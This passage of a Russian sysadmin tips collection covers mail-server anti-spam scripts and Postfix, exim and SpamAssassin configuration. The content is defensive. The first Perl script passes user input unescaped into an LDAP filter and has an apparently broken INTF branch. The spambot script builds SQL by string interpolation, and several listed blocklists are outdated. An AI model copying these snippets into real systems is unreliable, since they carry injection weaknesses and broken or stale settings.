           unless($prefix && $method && $eargs[0]) {
             print "$prefix ERROR Expected: nnn NEW user\@domain\n";
           } else {
             my $errorMsg=new_command($prefix,$eargs[0]);
       
           if(defined $errorMsg) {
             print "$prefix ERROR $errorMsg\n";
           }
         }
       }
       elsif ($method eq 'INTF' ) {
           if($eargs[0] < 3) {
             print "* This script requires CGPro version 4.1b7 or newer\n";
             exit;
           }
    
             exit;
           }
           print "$prefix INTF 3\n";
         }
         elsif($method eq 'QUIT') {
           print "$prefix OK\n";
           last;
         } else {
           print "$prefix ERROR Only NEW, INTF and QUIT commands  supported\n";
         }
       }
       print "* Megascript done\n";
       exit(0);
      
       sub tryConnectServer {
         my $theServer=$ldap_servers[$ldapServerID];
         print "* trying to connect to $theServer->{address}\n";
         my $ldap = Net::LDAP->new($theServer->{address},port=>($theServer->{port} || 389),timeout=>($theServer->{timeout} || 20) )
          || return undef;
         return $ldap;
       }
      sub tryConnect {
         my $nServers=scalar(@ldap_servers);
         for(my $nTried=0;$nTried<$nServers;$nTried++) {
           if($ldapServerID>=$nServers) { $ldapServerID=0;}
           my $ldap=tryConnectServer();
           return $ldap if($ldap);
           ++$ldapServerID;
         }
         return undef;
       }
    
       sub new_command {
         my ($prefix,$user)=@_;
         my ($name,$domain)=("","");
         if($user =~ /(.+)\@(.+)/) {
           $name=$1;
           $domain=$2;
         } else {
           return "Full account name with \@ and domain part expected";
         }
         my $ldap = tryConnect();
         unless($ldap) {
           return "Failed to connect to all LDAP servers";
         }
         my $adminDN=$ldap_servers[$ldapServerID]->{adminDN};
         my $adminPassword=$ldap_servers[$ldapServerID]->{adminPassword};
         my $result=$ldap->bind($adminDN,password=>$adminPassword)
           || return "Can't bind as admin: ".$result->error;
         $result->code && return "Can't bind as admin: ".$result->error;
        
       
            my $mesg = $ldap->search (  # perform a search
                    base   => $searchBase,
                    scope  => "subtree",
                    filter => "(&(proxyAddresses=smtp:$name\@$domain) (objectclass=*))"
            );
    
         $ldap->unbind();  
         unless(defined $mesg) {
           return "LDAP search failed";
         }
         if($mesg->all_entries() eq 0) {
           return "address $name\@$domain NOT exists";
         } else {
           print "$prefix ROUTED $name\%$domain\@[IPEXCHANGE]\n";   
           # Pomenyai IPEXCHANGE!!!!!!!!!!!!
           return undef;
         }
      };
    
     
    Что делает скрипт.
    При получении адреса e-mail в RCPT TO ищет его в AD в атрибутах пользователей.
    Если не находит, то сообщение игнорируется.
    
    Проверить работоспособность скрипта можно запустив его и набрать 1 NEW email@domain.ru
    Если выдаст ROUTED email%domain.ru@IPEXCHANGE - то значит все ОК!!!
    
     
    ----* Автоматизация борьбы со спамботами в своей сети   Автор: Дмитрий Иванов  [комментарии]
     
    Администраторы больших сетей регулярно получают жалобы на исходящий из них спам. Получив жалобу, 
    можно найти виновного и устранить проблему. Но нехорошо узнавать о таких делах
    только от чужих людей.
    Спамеров вполне можно вычислить самому, и принять меры раньше, чем кто-то пострадает.
    
    Чисто интуитивно достаточно запустить tcpdump на исходящем канале, и
    посмотреть, какие IP-адреса больше в
    сего посылают SYN-пакетов на 25 порт.
    
      tcpdump -ni bridge0 'tcp[tcpflags] & tcp-syn != 0 and dst port 25'
    
    В идеале это был бы ваш SMTP-сервер. В действительности вы увидите в основном
    IP-адреса простых пользователей,
    "одержимых бесами". Дело в том, что обычный спамбот создает SMTP-соединений во много раз больше 
    вашего почтового сервера. Причем с разными IP-адресами.
    
    В наши дни все нормальные почтовые сервера имеют PTR-запись DNS. Простые клиенты, напротив, 
    такой записи обычно не имеют. Если почтовый сервер может устанавливать SMTP-соединения 
    со множеством IP-адресов, то для простого клиента эта величина обычно не более 1-2 (например, 
    пользование удаленными SMTP-серверами с лаптопа).
    
    Исходя из этого, можно автоматически определять спамботов в нашей сети, и
    блокировать их (например,
    средствами IPFW). В качестве критерия оценки мы установили максимальное количество IP-адресов, 
    с которыми каждый хост может общаться по SMTP в течение 5 минут. Для хостов с
    реверсной записью DNS это 200,
    для хостов без реверсной записи - 20. Если хост превышает этот лимит, он
    попадает в черный список на сутки.
    
    Нами написан Perl-скрипт, запускающий tcpdump на 5 минут, и анализирующий результаты. 
    Хосты-нарушители заносятся в таблицу PostgreSQL для удобства персонала, и затем помещаются 
    в таблицу IPFW. Правила файрвола блокируют все соединения на 25 порт с хостов,
    находящихся в данной таблице.
    
    Текст скрипта:
    
           #!/usr/local/bin/perl
           # dimss@stalin.lv 2009-08-20
    
           my $colltime = 300;    # How long to collect data
           my $rev_limit = 200;   # Remote IP limit for hosts with PTR record
           my $norev_limit = 20;  # Remote IP limit for hosts without PTR record
           my $table_no = 1; # Number of IPFW table
    
           use strict;
           use warnings;
    
           use POSIX ':signal_h';
           use Socket;
           use DBI;
    
           #
           # Collect data
           # Run tcpdump for some time
           #
    
           my $conns = {};
    
           my $mask = POSIX::SigSet->new( SIGALRM );
           my $action = POSIX::SigAction->new(
                   sub {
                           system("killall tcpdump");
                   },
                   $mask
           );
           my $oldaction = POSIX::SigAction->new();
           sigaction(14, $action, $oldaction);
    
           alarm($colltime); # Run tcpdump for this amount of time
           open(T, "/usr/sbin/tcpdump -ni bridge0 'tcp[tcpflags] & tcp-syn != 0 " .
                           "and dst port 25' " .
                           "2>/dev/null |") or die;
    
           while(<T>){
                   /\ ((\d+\.){3}\d+).+?((\d+\.){3}\d+)/;
                   my $locip = $1;
                   my $remip = $3;
                   #print "$locip $remip\n";
                   $conns->{$locip} ||= {};
                   $conns->{$locip}->{$remip} ||= 1;
           }
           alarm(0);
           sleep(1);
    
           #
           # Analyze connections
           #
    
    
           $mask = POSIX::SigSet->new( SIGALRM );
           $action = POSIX::SigAction->new(
                   sub {
                           die("Reverse lookup took too long");
                   },
                   $mask
           );
           $oldaction = POSIX::SigAction->new();
           sigaction(14, $action, $oldaction);
    
           alarm(60); # Reverse DNS lookups must complete within this period
    
           my %concount;
           my %bots;
    
           for my $locip (keys(%$conns)){
                   #print("Loc IP: $locip\n");
                   my $cnt = 0;
                   for my $remip (keys(%{$conns->{$locip}})){
                           #print("  Rem IP: $remip\n");
                           $cnt++;
                   }
                   $concount{$locip} = $cnt;
           }
    
           for my $locip (sort {$concount{$b} <=> $concount{$a}} keys(%concount)){
                   if($concount{$locip} > $norev_limit){
                           my $ip = inet_aton($locip);
                           my $name = gethostbyaddr($ip, AF_INET);
                           if($concount{$locip} > ($name ? $rev_limit : $norev_limit)){
                                   #print("$locip: $concount{$locip} (" . ($name || '') . ")\n");
                                   $bots{$locip} = $name;
                           }
                   }
           }
    
           alarm(0);
    
           #
           # Update database
           #
    
           $mask = POSIX::SigSet->new( SIGALRM );
           $action = POSIX::SigAction->new(
                   sub {
                           die("Database timeout");
                   },
                   $mask
           );
           $oldaction = POSIX::SigAction->new();
           sigaction(14, $action, $oldaction);
    
           alarm(15);
    
           my $dbh = DBI->connect("dbi:Pg:host=db.host.tld;dbname=spambot",
                   "spambot", "passwd");
           if(!$dbh) {
                   die("Cannot connect to DB");
           }
    
           my $query;
           my $sth;
           my $rv;
           for my $botip (keys(%bots)){
                   #print "$botip\n";
                   my $qname = $dbh->quote($bots{$botip});
                   $query = "
                           update spambot_hosts set
                                   active_till = now() + '1 days',
                                   hostname = $qname
                           where ip = '$botip'
                   ";
                   $sth = $dbh->prepare($query);
                   $rv = $sth->execute();
                   if($rv != 1){
                           $query = "
                                   insert into spambot_hosts
                                   (ip, hostname, active_till)
                                   values
                                   ('$botip', $qname, now() + '1 days')
                           ";
                           $sth = $dbh->prepare($query);
                           $sth->execute();
                   }
           }
           $query = "
                   delete from spambot_hosts
                   where active_till < now()
           ";
           $sth = $dbh->prepare($query);
           $sth->execute();
    
           #
           # Get full list of banned hosts from DB
           #
    
           $query = "
                   select ip from spambot_hosts
           ";
           $sth = $dbh->prepare($query);
           $sth->execute();
    
           my %dlist;
           while(my $row = $sth->fetchrow_hashref){
                   $dlist{$row->{ip}} = 1;
           }
    
           undef $dbh;
           alarm(0);
    
           #
           # Read list of banned hosts from kernel (ipfw) table
           #
    
           my %klist;
           if(open(KTABLE, "/sbin/ipfw table $table_no list|")){
                   while(<KTABLE>){
                           chomp();
                           s/\/32//;
                           my ($prefix, $queue) = split();
                           $klist{$prefix} = 1;
                   }
                   close(KTABLE);
           }
    
           #
           # Update kernel table
           #
    
           for my $host (keys(%dlist)){
                   unless($klist{$host}){
                           #print "Add $host\n";
                           system("/sbin/ipfw table $table_no add $host");
                   }
           }
    
           for my $host (keys(%klist)){
                   unless($dlist{$host}){
                           #print "Remove $host\n";
                           system("/sbin/ipfw table $table_no delete $host");
                   }
           }
    
           exit;
    
    Из /etc/ipfw.rules:
    
       #....
       ipfw -q add deny tcp from "table(1)" to any 25
       #....
    
    У нас скрипт работает на шейпере, обслуживающем только заграничный канал.
    Местный трафик им не анализируется
    и не блокируется. При этом большая часть "хорошей" почты ходит именно по
    местным каналам, но спамеры
    спамят в основном по заграничному каналу. Так что лимиты вам наверняка придется
    подстроить под себя.
    Возможно, вам придется также реализовать "белый список", если у вас есть очень
    активные SMTP-сервера.
    
    На момент написания статьи в "расстрельном списке" несколько десятков хостов.
    Жалоб за истекшие сутки
    не поступало, хотя раньше их было множество.
    
     
    ----* Ведение полного лога почтовых отправлений, произведенных через PHP скрипты   [обсудить]
     
    В PHP 5.3 добавлена поддержка ведения полного лога всех почтовых отправлений через функцию mail().
    
    Указав в ini-файле опцию "mail.log имя_файла", в заданным файл будут сохранены
    данные от какого пользователя,
    из какого скрипта, и из какой строки этого скрипта была инициирована отправка каждого письма.
    
    При указании опции "mail.add-x-header true" в отправляемые через PHP функцию
    mail() письма будет добавлен
    заголовок X-PHP-Originating-Script с информацией об скрипте и отправителе.
    
     
    ----* Обучение SpamAssassin при помощи Gmail (доп. ссылка 1)   Автор: Yuri Trofimov   [комментарии]
     
    Суть идеи в использовании  антиспам фильтров Google для обучения SpamAssassin
    на локальном почтовом сервере.
    
    Сначала заходим в свой ящик на Gmail, включаем IMAP и устанавливаем английский язык интерфейса.
    
    Делаем для root вот такой ~/.fetchmailrc
    
       poll imap.gmail.com protocol imap port 993 and options no dns,
         user "user@gmail.com" options ssl,
         password "pass",
         fetchall,
         pass8bits,
         nokeep,
         folder "[Gmail]/Spam&#8221;,
         mda &#8220;/usr/bin/sa-learn -spam -single&#8221;
    
    Запускаем
    
       fetchmail -f .fetchmailrc -v
    
    Делаем бэкап БД spamassassin:
    
       sa-learn --backup > sa-learn.backup.db
    
     
    ----* Сборка exim с поддержкой SPF и DomainKeys в Debian GNU/Linux (доп. ссылка 1)   Автор: Pavel Piatruk  [комментарии]
     
    echo 'deb-src ftp://ftp.nl.debian.org/debian/ testing main contrib non-free' >> /etc/apt/sources.list
    apt-get update
    apt-get build-dep exim4 
    apt-get install libspf2-dev libspf2-2
    cd 
    wget http://www.kibibyte.se/download/debian/libdomainkeys0_0.68-1_i386.deb
    wget http://www.kibibyte.se/download/debian/libdomainkeys0-dev_0.68-1_i386.deb
    dpkg -i libdomainkeys0_0.68-1_i386.deb
    dpkg -i libdomainkeys0-dev_0.68-1_i386.deb
    cd /usr/src
    apt-get source exim4
    cd exim4-4.68
    
    fakeroot debian/rules unpack-configs
    cp EDITME.exim4-heavy EDITME.exim4-custom
    vi EDITME.exim4-custom
    
    # uncomment next lines:
     EXPERIMENTAL_SPF=yes
     LDFLAGS += -lspf2
    # add next lines
    EXPERIMENTAL_DOMAINKEYS=yes
    LDFLAGS += -ldomainkeys
    
    fakeroot debian/rules pack-configs
    fakeroot debian/rules extradaemonpackages=exim4-daemon-custom binary
    
    ls ../*deb
    
    #TEST:
    cd ..
    dpkg -X exim4-daemon-custom_4.68-2_i386.deb EXIM
    ldd EXIM/usr/sbin/exim4  | grep -e domainkeys -e spf
            #libspf2.so.2 => /usr/lib/libspf2.so.2 (0xb7752000)
            #libdomainkeys.so.0 => /usr/lib/libdomainkeys.so.0 (0xb774c000)
    
     
    ----* Блокировка отброшенных SMTP сервером IP адресов/подсетей.   Автор: Забудкин Лев Мирославович  [комментарии]
     
    #!/bin/sh
    #
    #REJECTSPAMMERS v0.1b Lev Zabudkin. zabudkin@mail.ru
    #
    #Описание:
    #   Данный скрипт аккумулирует (создаёт/пополняет) уникальный список IP адресов,
    #   которые были отброшены SMTP сервером.
    #   Скрипт создан с той целью, чтобы REJECT'ить в дальнейшем все пакеты с таких адресов.
    #
    #Действие:
    #   После выполнения будут созданы файлы в папке указанной в SCRIPTDIR (см. ниже):
    #   rejectspammers.run.iptables.block.byip.add             - Блокировать IP адреса
    #   rejectspammers.run.iptables.block.byip.delete          - Убрать прежнюю блокировку IP адресов
    #   rejectspammers.run.iptables.block.byip.subnet24.add    - Блокировать всю
    подсеть 255.255.255.0 IP адресов
    #   rejectspammers.run.iptables.block.byip.subnet24.delete - Убрать прежнюю
    блокировку подсети 255.255.0.0
    #   rejectspammers.run.iptables.block.byip.subnet16.add    - Блокировать всю
    подсеть 255.255.0.0 IP адресов
    #   rejectspammers.run.iptables.block.byip.subnet16.delete - Убрать прежнюю
    блокировку подсети 255.0.0.0
    #   rejectspammers.run.iptables.block.byip.subnet8.add     - Блокировать всю
    подсеть 255.0.0.0 IP адресов
    #   rejectspammers.run.iptables.block.byip.subnet8.delete  - Убрать прежнюю
    блокировку подсети 255.0.0.0
    #
    # Соответственно для нужной блокировки запустите нужный файл.
    #
    
    #Создавать ли файлы с цепочками DELETE
    MAKEDELETEOLD=yes
    
    #Файл с логами SMTP сервера
    MAILLOG=/var/log/maillog
    
    #Каталог, в котором создавать скрипты iptables
    SCRIPTDIR=/
    
    #Временный каталог
    TEMPDIR=/tmp
    
    
    cat $MAILLOG | grep rejected >$TEMPDIR/rejectedspammers
    awk '{user[tolower($10)]=$10} END {for(i in user) {print i}}'
    $TEMPDIR/rejectedspammers >$TEMPDIR/rejectedspammers.list
    cat $TEMPDIR/rejectedspammers.list |cut -d '[' -f2|cut -d ']' -f1 | uniq >$TEMPDIR/rejectspammers.ips
    awk --field-separator=. '{print "iptables -A INPUT -s "$1"."$2"."$3"."$4" -p
    tcp --dport 25 -j REJECT";}' \
       $TEMPDIR/rejectspammers.ips>>$SCRIPTDIR/rejectspammers.run.iptables.block.byip.add
    awk --field-separator=. '{print "iptables -A INPUT -s "$1"."$2"."$3".".0/24" -p
    tcp --dport 25 -j REJECT";}' \
       $TEMPDIR/rejectspammers.ips>>$SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet24.add
    awk --field-separator=. '{print "iptables -A INPUT -s "$1"."$2".".0/16" -p tcp
    --dport 25 -j REJECT";}' \
       $TEMPDIR/rejectspammers.ips>>$SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet16.add
    awk --field-separator=. '{print "iptables -A INPUT -s "$1".".0/8" -p tcp --dport 25 -j REJECT";}' \
       $TEMPDIR/rejectspammers.ips>>$SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet8.add
    cat $SCRIPTDIR/rejectspammers.run.iptables.block.byip.add | sort | uniq \
       >$TEMPDIR/rejectspammers.run.iptables.block.byip.add.temp
    cat $TEMPDIR/rejectspammers.run.iptables.block.byip.add.temp >$SCRIPTDIR/rejectspammers.run.iptables.block.byip.add
    cat $SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet24.add | sort | uniq \
       >$TEMPDIR/rejectspammers.run.iptables.block.bysubnet24.add.temp
    cat $TEMPDIR/rejectspammers.run.iptables.block.bysubnet24.add.temp >$SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet24.add
    cat $SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet16.add | sort | uniq \
       >$TEMPDIR/rejectspammers.run.iptables.block.bysubnet16.add.temp
    cat $TEMPDIR/rejectspammers.run.iptables.block.bysubnet16.add.temp >$SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet16.add
    cat $SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet8.add | sort | uniq \
       >$TEMPDIR/rejectspammers.run.iptables.block.bysubnet8.add.temp
    cat $TEMPDIR/rejectspammers.run.iptables.block.bysubnet8.add.temp >$SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet8.add
    
    
    if [ "$MAKEDELETEOLD" == "yes" ]; then
     awk --field-separator=. '{print "iptables -D INPUT -s "$1"."$2"."$3"."$4" -p tcp --dport 25 -j REJECT";}' \
       $TEMPDIR/rejectspammers.ips>>$SCRIPTDIR/rejectspammers.run.iptables.block.byip.delete
     awk --field-separator=. '{print "iptables -D INPUT -s "$1"."$2"."$3".".0/24" -p tcp --dport 25 -j REJECT";}' \
       $TEMPDIR/rejectspammers.ips>>$SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet24.delete
     awk --field-separator=. '{print "iptables -D INPUT -s "$1"."$2".".0/16" -p tcp --dport 25 -j REJECT";}' \
       $TEMPDIR/rejectspammers.ips>>$SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet16.delete
     awk --field-separator=. '{print "iptables -D INPUT -s "$1".".0/8" -p tcp --dport 25 -j REJECT";}' \
       $TEMPDIR/rejectspammers.ips>>$SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet8.delete
     cat $SCRIPTDIR/rejectspammers.run.iptables.block.byip.delete | sort | uniq \
       >$TEMPDIR/rejectspammers.run.iptables.block.byip.delete.temp
     cat $TEMPDIR/rejectspammers.run.iptables.block.byip.delete.temp >$SCRIPTDIR/rejectspammers.run.iptables.block.byip.delete
     cat $SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet24.delete | sort | uniq \
       >$TEMPDIR/rejectspammers.run.iptables.block.bysubnet24.delete.temp
     cat $TEMPDIR/rejectspammers.run.iptables.block.bysubnet24.delete.temp >$SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet24.delete
     cat $SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet16.delete | sort | uniq \
       >$TEMPDIR/rejectspammers.run.iptables.block.bysubnet16.delete.temp
     cat $TEMPDIR/rejectspammers.run.iptables.block.bysubnet16.delete.temp >$SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet16.delete
     cat $SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet8.delete | sort | uniq \
       >$TEMPDIR/rejectspammers.run.iptables.block.bysubnet8.delete.temp
     cat $TEMPDIR/rejectspammers.run.iptables.block.bysubnet8.delete.temp >$SCRIPTDIR/rejectspammers.run.iptables.block.bysubnet8.delete
    fi
    
    chmod +0755 $SCRIPTDIR/rejectspammers.run.iptables.block.*
    
     
    ----* Особенность использования Dspam в связке с qmail+vpopmail   Автор: Олег  [комментарии]
     
    Следует отметить, что если вы используете dspam в связке с qmail+vpopmail 
    последний должен быть версии не ниже 5.3.7 (с опцией --enable-make-seekable,
    она yes по умолчанию),
    иначе не работает конструкция вида:
    
       /usr/local/dspam/bin/dspam --user local_part@domain.com \
        --deliver=innocent,spam | /var/vpopmail/bin/vdelivermail '' bounce-no-mailbox
    
    vdelivermail отваливается с ошибкой на несикабельность пайпа (errno 29).
    
     
    ----* Фильтрация спама силами Postfix.   Автор: Дмитрий Кустов  [комментарии]
     
    Привожу выдержки из настроек в main.cf для фильтрации спама в версии Postfix
    2.2 его собственными силами.
    Использую также SASL2 для аутентификации (это не обязательно) и PCRE (аналог regexp).
    
    /etc/postfix/main.cf
    
    ====================
       disable_vrfy_command = yes
       strict_rfc821_envelopes = yes
       smtpd_etrn_restriction = reject
       smtpd_sasl_auth_enable = yes
       smtpd_helo_required = yes
       smtpd_helo_restrictions =
    
       smtpd_recipient_restrictions =
            permit_sasl_authenticated,
            permit_mynetworks,
            reject_non_fqdn_recipient,
            check_recipient_access pcre:/etc/postfix/recipient_checks.pcre,
            reject_unknown_recipient_domain,
            reject_unverified_recipient,
            reject_unauth_destination,
            reject_unauth_pipelining,
            permit_auth_destination
    
       smtpd_data_restrictions =
            reject_unauth_pipelining,
            reject_multi_recipient_bounce,
            permit
    
       smtpd_delay_reject=no
    
       # здесь у меня пусто, но можно ввести свой контроль
       smtpd_client_restrictions =
       #       check_client_access hash:/etc/postfix/maps/access_client
    
       # количество RBL серверов регулируйте сами, я дал наиболее распространённые, на мой взгляд
       smtpd_sender_restrictions =
            permit_sasl_authenticated,
            permit_mynetworks,
            reject_invalid_hostname,
            reject_non_fqdn_hostname,
            reject_non_fqdn_sender,
            check_sender_access hash:/etc/postfix/maps/ not_our_domain_as_sender,
            reject_unknown_client,
            reject_unknown_sender_domain,
            reject_unknown_hostname,
            check_client_access pcre:/etc/postfix/client_checks.pcre,
            check_helo_access pcre:/etc/postfix/helo_checks.pcre,
            reject_rbl_client bl.spamcop.net,
            reject_rbl_client sbl-xbl.spamhaus.org,
            reject_rbl_client dul.dnsbl.sorbs.net,
            reject_rbl_client list.dsbl.org,
            reject_rbl_client dnsbl.njabl.org,
            reject_rbl_client relays.ordb.org,
            reject_rbl_client cbl.abuseat.org,
            reject_rbl_client opm.blitzed.org,
            reject_rbl_client dul.ru,
            reject_rhsbl_sender dsn.rfc-ignorant.org
    ====================
    
    /etc/postfix/client_checks.pcre
    
    ====================
       /(modem|dia(l|lup)|cp[ce]|dsl|p[cp]p|cable|catv|poo(l|les)|pppoe|dhcp|client|
       customer|user|host|[0-9]{4,})(-|_|\.|[0-9])/ REJECT Invalid hostname (client)
    
       /[0-9]+-[0-9]+/                 REJECT Invalid hostname (D-D)
    ====================
    
    /etc/postfix/helo_checks.pcre
    
    ====================
       /[^[] *[0-9]+((\.|-|_)[0-9]+){3}/ REJECT Invalid hostname (ipable)
    
       /(modem|dia(l|lup)|cp[ce]|dsl|p[cp]p|cable|catv|poo(l|les)|pppoe|dhcp|client|
       customer|user|host|[0-9]{4,})(-|_|\.|[0-9])/ REJECT Invalid hostname (client)
    
       /[0-9]+-[0-9]+/                 REJECT Invalid hostname (D-D)
    ====================
    
    
    /etc/postfix/recipient_checks.pcre
    
    ====================
       /[@!%].*[@!%]/ 550 Please use user@domain address forms only.
    ====================
    
    /etc/postfix/maps/not_our_domain_as_sender
    
    ====================
       yourdomain.tld     554 Go away, bloody spammer!
    ====================
    
     
    ----* Kaspersky + Postfix с ограничениями для адресов   Автор: BrUYE  [обсудить]
     
    При автоматической установке Касперского для Postfix при настроенных ограничениях для адресов 
    (smtpd_recipient_restrictions, sender_restrictions, etc) в логи валятся сообщения типа:
    
       postfix/smtpd[20375]: connect from localhost.localdomain[127.0.0.1]
       postfix/smtpd[20375]: warning: unknown smtpd restriction: "restricted_recipients"
       postfix/smtpd[20375]: NOQUEUE: reject: RCPT from localhost.localdomain[127.0.0.1]: 
          451 Server configuration error; from=<user@domain.com> to=<group@domain.com>
    
      postfix/lmtp[20197]: 00499FCF34: to=<group@domain.com>, relay=127.0.0.1[127.0.0.1], delay=10, 
          status=deferred (host 127.0.0.1[127.0.0.1] said: 421 <group@domain.com> Error ! (in reply to end of DATA command))
    
    Необходимо убрать/закомментировать в /etc/postfix/master.cf параметры, 
    которые прописал KAV и которые конфликтуют с параметрами в /etc/postfix/main.cf.
    
    У меня секция KAV в /etc/postfix/master.cf имеет вид:
    
    127.0.0.1:10030     inet  n      n      n      -      20     spawn
              user=kluser   argv=/opt/kav/5.5/kav4mailservers/bin/smtpscanner 
    
    127.0.0.1:10031    inet  n      -      n      -      21      smtpd
             -o content_filter=
    #        -o local_recipient_maps=
    #        -o relay_recipient_maps=
    #        -o smtpd_restriction_classes=
    #        -o smtpd_client_restrictions=
    #        -o smtpd_helo_restrictions=    
    #        -o smtpd_sender_restrictions=
    #        -o mynetworks=127.0.0.0/8
             -o strict_rfc821_envelopes=yes
             -o smtpd_error_sleep_time=0
             -o smtpd_soft_error_limit=1001
             -o smtpd_hard_error_limit=1000
             -o myhostname=mail.domain.com
    
    Потом 
       mail# postfix reload; postqueue -f
    
     
    ----* Какие эффективные DNSBL списки дают наименьшее число ложных срабатываний.   [комментарии]
     
    Советую использовать list.dsbl.org (http://dsbl.org/) и dnsbl.njabl.org (http://dnsbl.njabl.org/).
    
     
    ----* Блокирование спама в postfix используя маски для домена в HELO   Автор: Евгений Егоров  [комментарии]
     
    Открыл недавно несколько возможностей в Постфиксе для отсеивания нежелательной почты на этапе HELO.
    Теперь у меня сервер отсеивает от 90 до 98% почты сразу. Антивирус (clamAV) и SA отдыхают. 
    
    Коэффициент SA задрал до 7.3. Все равно до него мало что доходит.
    
    Итак в main.cf стоит:
       smtpd_recipient_restrictions =
           permit_mynetworks,
           reject_non_fqdn_recipient,
           reject_unauth_destination,
           check_helo_access hash:/etc/postfix/helo_checks,
           check_helo_access pcre:/etc/postfix/helo_checks_pcre,
           check_sender_access hash:/etc/postfix/sender_checks,
           check_client_access hash:/etc/postfix/client_checks,
           check_sender_mx_access cidr:/etc/postfix/mx_access,
           check_recipient_mx_access cidr:/etc/postfix/mx_access,
           reject_rbl_client relays.ordb.org,
           reject_rbl_client sbl.spamhaus.org,
           reject_unknown_sender_domain,
           reject_unknown_recipient_domain
    
    /etc/postfix/helo_checks:
    
          # Reject anybody that HELO's as being in our own domain(s)
          # (Note that if you followed the order suggested in the main.cf
          # examples, above, that machines in mynetworks will be okay.)
          <Мой домен>                  REJECT You are not in trala.la
    
          # Somebody HELO'ing with our IP address?
          <мой IP>          REJECT You are not me
    
    Это хорошо помогает против вирус и зомби.
    
    /etc/postfix/helo_checks.pcre:
          # Initial expression
          #/^[0-9]+(\.[0-9]+){3}$/        REJECT Invalid hostname (plain D)
          # expression modified by Eugene 22.03.2005
          /[^[] *[0-9]+((\.|-)[0-9]+){3}/ REJECT Invalid hostname (ipable)
          #
          /(modem|dia(l|lup)|dsl|p[cp]p|cable|catv|poo(l|les)|dhcp|client|customer|user|[0
    -9]{4,})(-|\.|[0-9])/ REJECT Invalid hostname (client)
          #
          /[0-9]+-[0-9]+/                 REJECT Invalid hostname (D-D)
    
     
    ----* Postfix и фильтр запрещенных атачей с уведомлением (доп. ссылка 1)   Автор: JackSoft  [комментарии]
     
    Пример конфигурации для  Postfix 2.1.x, позволяющей ограничить доступ  писем с
    определенными атачами,
    с генерацией отчета о недоставке отправителю,  c указанием причины блокировки.
    
    main.cf: 
    
       mydomain = test.ru
       myorigin = $mydomain
       soft_bounce = no
       bounce_size_limit = 50000
       relayhost = mail.test.ru
       queue_directory = /var/spool/postfix
       command_directory = /usr/local/sbin
       daemon_directory = /usr/local/libexec/postfix
       mail_owner = fcmail
       default_privs = nobody
       mynetworks_style = subnet
       mynetworks = 192.168.0.0/16
       alias_maps = hash:/etc/mail/aliases
       alias_database = hash:/etc/mail/aliases
       mail_spool_directory = /var/mail
       smtp_always_send_ehlo = yes
       transport_maps = hash:/usr/local/etc/postfix/transport
       smtpd_helo_required = yes
       message_size_limit = 5242880
       readme_directory = no
       sample_directory = /usr/local/etc/postfix
       sendmail_path = /usr/local/sbin/sendmail
       setgid_group = maildrop
       manpage_directory = /usr/local/man
       newaliases_path = /usr/local/bin/newaliases
       mailq_path = /usr/local/bin/mailq
       local_recipient_maps = $alias_maps unix:passwd.byname
       notify_classes = delay, protocol, resource, software, policy
       header_checks=regexp:/usr/local/etc/postfix/header_checks
       header_checks=pcre:/usr/local/etc/postfix/header_checks
       mime_header_checks=regexp:/usr/local/etc/postfix/mime_checks
       mime_header_checks=pcre:/usr/local/etc/postfix/mime_checks
       default_process_limit=500
       smtpd_sender_restrictions = check_sender_access
       hash:/usr/local/etc/postfix/smtpd.sender, permit
       relocated_maps=hash:/usr/local/etc/postfix/relocated
       maximal_queue_lifetime = 1h
       delay_warning_time = 1h
       bounce_notice_recipient = it
       2bounce_notice_recipient = it
       error_notice_recipient = it
       smtp_skip_4xx_greeting = yes
       smtp_skip_5xx_greeting = no
       access_map_reject_code = 550
       reject_code = 550
       unknown_client_reject_code = 550
    
    Правила фильтрации в файле mime_checks:
    
       /^\s*Content-(Disposition|Type).*name\s*=\s*"?(.+\.(lnk|asd|hlp|ocx|reg\
          |bat|c[ho]m|cmd|exe|dll|vxd|pif|scr|hta|jse?|sh[mbs]|vb[esx]|ws[fh]\
          |wav|mov|wmf|xl|jpg|bmp|gif|mp3))"?\s*$/ \
          REJECT 550 Attachment type not allowed. File "$2" has unacceptable extension "$3"
    
    Для дублирования уведомлений на служебный адрес, нужно указать:
           bounce_notice_recipient = it
           2bounce_notice_recipient = it
           error_notice_recipient = it
       где it - Ваше е-mail или группа рассылки.
    
     
    ----* Проверка фильтров postfix (доп. ссылка 1)   Автор: Roman Y. Bogdanov  [обсудить]
     
    Как проверить фильтры для postfix? Очень просто:
      $ postmap -q "Content-Type: 1.exe" regexp:/etc/postfix/header_checks
    
    Или просто входом с файла
      $ postmap -q - regexp:/etc/postfix/body_checks < msg_file
    
    Замечание: postmap не делает различий между header, subject и bodymessage.
    
     
    ----* Запрещение внешней почты с указанием собственным домена в качестве отправителя. (доп. ссылка 1)   Автор: Roman Y. Bogdanov  [комментарии]
     
    Когда спам идет от адреса домена пользователю домена.
       helo somehost
       mail from: me@mydomain.ru
       rcpt to: me@mydomain.ru
      data
    
    Т.е. когда почта принимается с любого IP адреса для $mydestination на MX. 
    А с внешнего адреса она к нам приходить не может. Это не есть правильно. Лечить
    в Postfix так (main.conf):
       smtpd_recipient_restrictions =
       permit_mynetworks,
       check_sender_access hash:/usr/local/etc/postfix/antispam/wtf,
       ограничения дальше,
       ...
    
    потом, в antispam/wtf
       brj.pp.ru 554 brj.pp.ru sender? What the fuck? You're not in mynetworks!
    
    потом
       makemap hash /usr/local/etc/postfix/antispam/wtf.db < /usr/local/etc/postfix/antispam/wtf
    
     
    ----* Ограничения для адреса отправителя в Postfix   Автор: Косенков Игорь  [комментарии]
     
    Иногда требуется ограничить прием почты для Postfix только с определенных доменов.
    Пример - внутренний почтовый сервер для приема и отправки почты только в локальной сети.
